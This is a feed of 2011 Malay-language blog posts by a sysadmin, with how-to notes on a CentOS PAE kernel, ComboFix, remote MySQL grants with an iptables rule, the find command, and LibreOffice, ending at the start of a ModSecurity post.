<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-907989761847606873</id><updated>2011-11-25T09:56:20.836+08:00</updated><category term='Fedora'/><category term='DNS'/><category term='Hack'/><category term='SQL Injection'/><category term='RAID'/><category term='MySpamGuard'/><category term='Windows'/><category term='DansGuardian'/><category term='Firewall'/><category term='Domain'/><category term='XAMPP'/><category term='Knowledge Share'/><category term='RedHat'/><category term='Backup'/><category term='Oracle JI'/><category term='Asset Inventory'/><category term='OpenSUSE'/><category term='MySurfGuard'/><category term='MySpamGuard MasilScanner MailWatch'/><category term='Antivirus'/><category term='Apache'/><category term='Spam'/><category term='Command Line'/><category term='eSPKB'/><category term='Network'/><category term='Streamyx'/><category term='Microsoft Office'/><category term='Internet'/><category term='MySQL'/><category term='CentOS'/><category term='3GModem'/><category term='OpenOffice'/><category term='Horde'/><category term='ICT Security'/><category term='PahangNet'/><category term='Open Source'/><category term='Squid'/><category term='PHP'/><category term='Joomla'/><category term='Symantec'/><category term='Database'/><category term='Linux'/><category term='Proxy'/><category term='SPEKS'/><category term='Bluetooth'/><category term='Internet Explorer'/><category term='Ntop'/><category term='Free'/><category term='Emel'/><category term='WiFi'/><category term='DHCP'/><title type='text'>World Without IT is Empty</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default?start-index=101&amp;max-results=100'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>108</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2541760793217925550</id><published>2011-08-03T16:39:00.000+08:00</published><updated>2011-08-03T16:39:12.297+08:00</updated><title type='text'>CentOS/RHEL 32bit cannot detect RAM more than 4GB</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-8FmcYD37TdA/TjkJHNk3qZI/AAAAAAAAA1M/G5zyXbSNsME/s1600/magneto-tux-g2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-8FmcYD37TdA/TjkJHNk3qZI/AAAAAAAAA1M/G5zyXbSNsME/s320/magneto-tux-g2.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Berjumpa sekali lagi sebab ada nota baru..hehehe&lt;br /&gt;Aku baru ni ada buat upgrade RAM kepada server sistem dan web hosting. Asalnya ada 1 CPU upgrade jadi 2 CPU dan ada 2GB RAM tambah kepada 7GB RAM.&lt;br /&gt;&lt;br /&gt;Server Web Hosting aku tu ada 30 virtualhost dalam tu kena maintain. So kena upgrade lah nak kasik laju sikit. Sebab part OS dan application tuning dah dibuat, so sekarang kena tune upgrade hardware part pulak.&lt;br /&gt;&lt;br /&gt;Server tu model HP 140G3 jenis 1U dan boleh buat Mirroring sahaja sebab ada 2 slot HD. Maksimum RAM sehingga 16GB.&lt;br /&gt;&lt;br /&gt;Sekiranya nak gunakan RAM lebih daripada 4GB, maka kena install Kernel PAE. Pakej Kernel PAE ni mampu digunakan atas server sehingga 64GB RAM (bergantung kepada maksimum kapasiti RAM&amp;nbsp; server yang dibenarkan). Ianya memerlukan CPU yang mempunyai kapasiti Physical Address Extensions (PAE). Yang bukan support PAE Kernel hanya support sehingga 4GB RAM sahaja. Jadi kalau nak guna lebih dari 4GB RAM maka anda kenalah install kernel-PAE.&lt;br /&gt;&lt;br /&gt;Kaedah pertama gunakan sepenuhnya YUM ;&lt;br /&gt;1) Pastikan BIOS detect jumlah RAM sebenar &lt;br /&gt;2) yum install kernel-PAE&lt;br /&gt;3) Reboot server&lt;br /&gt;&lt;br /&gt;Jika kaedah yum tak dapat install, cuba download dan install manual RPM :&lt;br /&gt;1) Pastikan BIOS detect jumlah RAM sebenar &lt;br /&gt;&lt;br /&gt;2) cd /opt (simpan kat /opt)&lt;br /&gt;3) wget http://mirror.centos.org/centos/5/os/i386/CentOS/kernel-PAE-2.6.18-238.el5.i686.rpm&lt;br /&gt;4) rpm -ivh kernel-PAE-2.6.18-238.el5.i686.rpm&lt;br /&gt;5) login ke webmin, pergi ke menu Hardware &amp;gt; GRUB Boot Loader &amp;gt; Klik 'Edit Global Options'&lt;br /&gt;Kemudian pada &lt;b&gt;Default boot option &lt;/b&gt;pilih Kernel-PAE berkenaan. Klik Save.&lt;br /&gt;6) Reboot server &lt;br /&gt;&lt;br /&gt;Cara nak check OS dah baca RAM baru, adalah dengan login ke dalam webmin dan tengok 'System Information'. Real Memory akan terpapar jumlah RAM baru.&lt;br /&gt;&lt;br /&gt;yeay!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2541760793217925550?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2541760793217925550/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2541760793217925550&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2541760793217925550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2541760793217925550'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/08/centosrhel-32bit-cannot-detect-ram-more.html' title='CentOS/RHEL 32bit cannot detect RAM more than 4GB'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-8FmcYD37TdA/TjkJHNk3qZI/AAAAAAAAA1M/G5zyXbSNsME/s72-c/magneto-tux-g2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-8324653193599918352</id><published>2011-06-30T08:44:00.000+08:00</published><updated>2011-06-30T08:44:19.366+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Antivirus'/><title type='text'>CPU 100% on Windows 7 and Firefox Hang on Windows 7</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-2ptLdTnaifw/TgvGxNk4SfI/AAAAAAAAA04/In2i1Bd6cWc/s1600/combofix.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-2ptLdTnaifw/TgvGxNk4SfI/AAAAAAAAA04/In2i1Bd6cWc/s1600/combofix.gif" /&gt;&lt;/a&gt;&lt;/div&gt;Kalau tengok gambar ni dah macam lambang Proton je kan..hehehe..&lt;br /&gt;Beberapa hari yang lepas, PC aku yang baru guna Windows 7 ni jadi gile..asal buka je&amp;nbsp; terus slow.&lt;br /&gt;&lt;br /&gt;1) Tengok kat Task Manager tab performance CPU aku maintain je load 100%...&lt;br /&gt;2) Aduhai...aku saspek ada virus ni dalam pc aku..kot virus ni guna network tu jadi load tinggi.&lt;br /&gt;3) Buka Resource Monitor aku tengok kat bahagian tab CPU, process system aku tinggi, guna 96% load CPU. System ni adalah NT Kernel Windows.&lt;br /&gt;4) Aku google kat internet, ada kata suh restart semula PC ok, ada kata suh reinstall semula windows. Aku tk mampu dah nak mengadap PC nak install semula semua software kegunaan aku...huhu&lt;br /&gt;5) Masa aku guna Windows XP dulu ada gak kes PC slow ni..last2 aku cari software 'combofix'&lt;br /&gt;6) Nak download kat pejabat ni kena blok le pulak..aiyakk...kena la aku cari network streamyx nak download&lt;br /&gt;7) Dah download tu aku takde thumb drive le pulak, hehehe..Notebook aku tertinggal kat kampung balik baru ni satu beg penuh isi gadget2 aku..hehehe..so menagih member pinjam thumb drive sat. Download software tu kat sini &lt;a href="http://www.bleepingcomputer.com/combofix/how-to-use-combofix"&gt;COMBOFIX&lt;/a&gt;&lt;br /&gt;8) Then aku run kat PC aku, tak perlu run on safe mode pun tkpe. Software tu laksanakan tugasnya dan suh restart semula PC dan tunggu lagi. Done!&lt;br /&gt;9) Aku biarkan PC aku terbuka dengan Firefox sekali terbuka. Pagi esoknya aku tengok semula PC aku dah tak hang dan load PC stabil. Kalau tak sebelum ni bila tinggalkan je PC dengan Firefox on mesti esoknya akan hang dan aku kena restart semula PC guna button ajaib di CPU.&lt;br /&gt;&lt;br /&gt;combofix ni adalah spyware remover dan ia akan restore juga file di PC kepada yang asal. Mungkin PC aku dijangkiti salah seekor darinya..&lt;br /&gt;&lt;br /&gt;yeay PC aku laju kembali!&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-8324653193599918352?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/8324653193599918352/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=8324653193599918352&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8324653193599918352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8324653193599918352'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/06/cpu-100-on-windows-7-and-firefox-hang.html' title='CPU 100% on Windows 7 and Firefox Hang on Windows 7'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-2ptLdTnaifw/TgvGxNk4SfI/AAAAAAAAA04/In2i1Bd6cWc/s72-c/combofix.gif' height='72' width='72'/><thr:total>0</thr:total><georss:featurename>Kuantan, Pahang, Malaysia</georss:featurename><georss:point>3.824973 103.32389990000001</georss:point><georss:box>3.61326 103.18161190000002 4.0366859999999996 103.46618790000001</georss:box></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-3908203324191713875</id><published>2011-06-28T14:53:00.002+08:00</published><updated>2011-06-28T17:24:56.449+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Database'/><title type='text'>How to Grant Access User to MySQL</title><content type='html'>&lt;span class="Apple-style-span" style="border-collapse: separate; color: black; font-family: 'Times New Roman'; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-G21D2P6kits/Tgl6V6etJrI/AAAAAAAAA00/rQa1TMj-XmQ/s1600/Dolphin_MySQL.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="252" src="http://1.bp.blogspot.com/-G21D2P6kits/Tgl6V6etJrI/AAAAAAAAA00/rQa1TMj-XmQ/s320/Dolphin_MySQL.jpg" style="cursor: move;" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Kita nak setup satu web server yang akan host 5 php application dan satu lagi server yang akan jadi sebagai DB server kepada semua PHP application tu tadi.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Langkah-langkahnya :&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;OS : CentOS 5.x / RHEL 5.3&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;1) SSH ke server DB&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;2) Edit fail my.cnf (# nano /etc/my.cnf)&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;3) Edit line bold berikut :&lt;/div&gt;&lt;pre style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;[mysqld]&lt;br /&gt;user            = mysql&lt;br /&gt;pid-file        = /var/run/mysqld/mysqld.pid&lt;br /&gt;socket          = /var/run/mysqld/mysqld.sock&lt;br /&gt;port            = 3306&lt;br /&gt;basedir         = /usr&lt;br /&gt;datadir         = /var/lib/mysql&lt;br /&gt;tmpdir          = /tmp&lt;br /&gt;language        = /usr/share/mysql/English&lt;br /&gt;&lt;b&gt;bind-address    = ip.server.db.anda&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# skip-networking&lt;/b&gt;&lt;/pre&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;4) Save dan restart mysql (# /etc/init.d/mysqld restart)&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;5) Kita nak bagi kebenaran akses daripada WEB Server kepada DB Server untuk guna DB MYSQL&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;code&gt;# mysql -u root -p mysql&lt;/code&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;6) GRANT Access kepada DB Baru Create :&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;code&gt;mysql&amp;gt; CREATE DATABASE namaDB;&lt;br /&gt;mysql&amp;gt; GRANT ALL ON&amp;nbsp;&lt;/code&gt;&lt;span class="Apple-style-span" style="font-family: monospace;"&gt;namaDB&lt;/span&gt;&lt;code&gt;.* TO namaUSER@'ip.server.web.anda' IDENTIFIED BY 'PASSWORD';&lt;/code&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;7) GRANT Access kepada DB sedia ada&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;code&gt;mysql&amp;gt; update db set Host='202.54.10.20' where Db='webdb';&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;(update host baru utk db webdb)&lt;/b&gt;&lt;br /&gt;mysql&amp;gt; update user set Host='202.54.10.20' where user='webadmin';&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;(update user baru dari host tu)&lt;/b&gt;&lt;/code&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;8) Keluar dari mysql :&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;code&gt;mysql&amp;gt; exit&lt;/code&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;9) Kalau guna IPTable pada DB Server untuk kawal laluan keluar masuk server, update seperti berikut : (Benarkan akses dari subnet 192.168.0/24 melalui port 3306 ke server DB)&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;/sbin/iptables -A INPUT -i eth0 -s 192.168.1.0/24 -p tcp --destination-port 3306 -j ACCEPT&lt;/pre&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;10) Nak test dari server WEB Server tadi :&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;code&gt;$ mysql -u namaUSER –h ip.db.server.anda –p&lt;/code&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;11) Kalau nak tau port 3306 tu buka ke tk server DB tu :&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;code&gt;$ telnet 65.55.55.2 3306&lt;/code&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;12) Kalau berjaya keluar suh masuk password dan berjaya, maka lepas lah tu!..well done!&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;~ Be a Creator Not a User ~&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-3908203324191713875?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/3908203324191713875/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=3908203324191713875&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3908203324191713875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3908203324191713875'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/06/how-to-grant-access-user-to-mysql.html' title='How to Grant Access User to MySQL'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-G21D2P6kits/Tgl6V6etJrI/AAAAAAAAA00/rQa1TMj-XmQ/s72-c/Dolphin_MySQL.jpg' height='72' width='72'/><thr:total>0</thr:total><georss:featurename>Kuantan, Pahang, Malaysia</georss:featurename><georss:point>3.824973 103.32389990000001</georss:point><georss:box>3.61326 103.18161190000002 4.0366859999999996 103.46618790000001</georss:box></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-950388502574354120</id><published>2011-06-20T09:26:00.000+08:00</published><updated>2011-06-20T09:26:13.245+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to find File or Folder in Linux</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-UX6GqsmnAgs/Tf6hoZMkSaI/AAAAAAAAA0w/-zBZ_eidhVY/s1600/120px-Edit-find.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-UX6GqsmnAgs/Tf6hoZMkSaI/AAAAAAAAA0w/-zBZ_eidhVY/s1600/120px-Edit-find.svg.png" /&gt;&lt;/a&gt;&lt;/div&gt;Fast update..&lt;br /&gt;Kadang-kadang kita tak ingat path program atau sistem tu disimpan dalam server kita masa kita yum install atau install dari RPM..&lt;br /&gt;&lt;br /&gt;So cara nak carinya guna kaedah find :&lt;br /&gt;Tested on CentOS dan RHEL&lt;br /&gt;&lt;br /&gt;&lt;pre class="bbcode_code" style="height: 36px;"&gt;find &lt;location&gt; -name &lt;file folder=""&gt;&lt;/file&gt;&lt;/location&gt;&lt;/pre&gt;&lt;pre class="bbcode_code" style="height: 36px;"&gt;SAMPEL : &lt;/pre&gt;&lt;pre class="bbcode_code" style="height: 36px;"&gt;find /home -name /muzzo&lt;/pre&gt;&lt;pre class="bbcode_code" style="height: 36px;"&gt;&lt;b&gt;(Cari folder nama muzzo kat dalam /home)&lt;/b&gt; &lt;/pre&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-950388502574354120?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/950388502574354120/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=950388502574354120&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/950388502574354120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/950388502574354120'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/06/how-to-find-file-or-folder-in-linux.html' title='How to find File or Folder in Linux'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-UX6GqsmnAgs/Tf6hoZMkSaI/AAAAAAAAA0w/-zBZ_eidhVY/s72-c/120px-Edit-find.svg.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-4231177182502713170</id><published>2011-06-17T15:05:00.000+08:00</published><updated>2011-06-17T15:05:58.302+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenOffice'/><title type='text'>OpenOffice vs LibreOffice</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-nRf_tTSu1-E/Tfr8rf6x52I/AAAAAAAAA0s/SJg_GqsbOM0/s1600/Free+Download+LibreOffice+3.40+RC1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-nRf_tTSu1-E/Tfr8rf6x52I/AAAAAAAAA0s/SJg_GqsbOM0/s320/Free+Download+LibreOffice+3.40+RC1.jpg" width="238" /&gt;&lt;/a&gt;&lt;/div&gt;Untuk makluman, versi OpenOffice sekarang ni dah di take over oleh Oracle dari Sun Microsystem. So far kalau kita tengok patch update amat perlahan oleh oracle. Tak pasti ianya strategi atau memang disengajakan. Versi Oo Oracle ini tidak menyokong untuk save as versi MS Office 2007 dan 2010. Buka fail MS 2007 dan 2010 ok.&lt;br /&gt;&lt;br /&gt;Versi professional Oxygen Office pula sekarang ini masih belum ada patch baru dan masih lagi menggunakan versi Oo 3.2.1 dan last update pada bulan jun 2010. Versi Oxygen Office adalah juga klon Oo yang menambah banyak template2 yang menarik untuk kegunaan pengguna professional.&lt;br /&gt;&lt;br /&gt;Oleh itu, versi Oo fully komuniti owned dihidupkan kembali dengan wujudkan LibreOffice. Versi ini kini menggunakan versi stable 3.3.2 (advanced patch dari Oo Oracle). Versi 3.4 telah mencapai versi final release sekarang ni dan tunggu masa untuk keluar versi stable. Features diperbaharui dalam versi 3.4 adalah :&lt;br /&gt;http://www.libreoffice.org/download/3-4-new-features-and-fixes/&lt;br /&gt;&lt;br /&gt;Saya baru gunakannya utk versi 3.4 [FINAL] dan libre office memang penambahbaikan telah dibuat. Yang boleh saya listkan ;&lt;br /&gt;1) Speed masa load perisian dah makin laju&lt;br /&gt;2) Speed convert to PDF untuk fail besar dah improve skit&lt;br /&gt;3) Paling jelas, dulu nak copy page dari website dan paste dalam Writer memang satu masalah besar dan kadangkala boleh hang PC..biar canggih mana pun. Sekarang memang laju dan tak sangkut.&lt;br /&gt;4) Kalau Software crash, bila buka semula dan recovery file, memang laju dari sebelum.Yang ni jelas improve dari pengalaman.&lt;br /&gt;&lt;br /&gt;Jika berminat untuk explore LibreOffice (LO) ini boleh download di URL berikut :&lt;br /&gt;http://www.libreoffice.org&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-4231177182502713170?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/4231177182502713170/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=4231177182502713170&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4231177182502713170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4231177182502713170'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/06/openoffice-vs-libreoffice.html' title='OpenOffice vs LibreOffice'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-nRf_tTSu1-E/Tfr8rf6x52I/AAAAAAAAA0s/SJg_GqsbOM0/s72-c/Free+Download+LibreOffice+3.40+RC1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6471868681258679247</id><published>2011-06-16T18:16:00.007+08:00</published><updated>2011-07-07T16:17:58.877+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='ICT Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Joomla'/><category scheme='http://www.blogger.com/atom/ns#' term='Free'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>How to Use Mod Security in httpd [updated 7th July 2011]</title><content 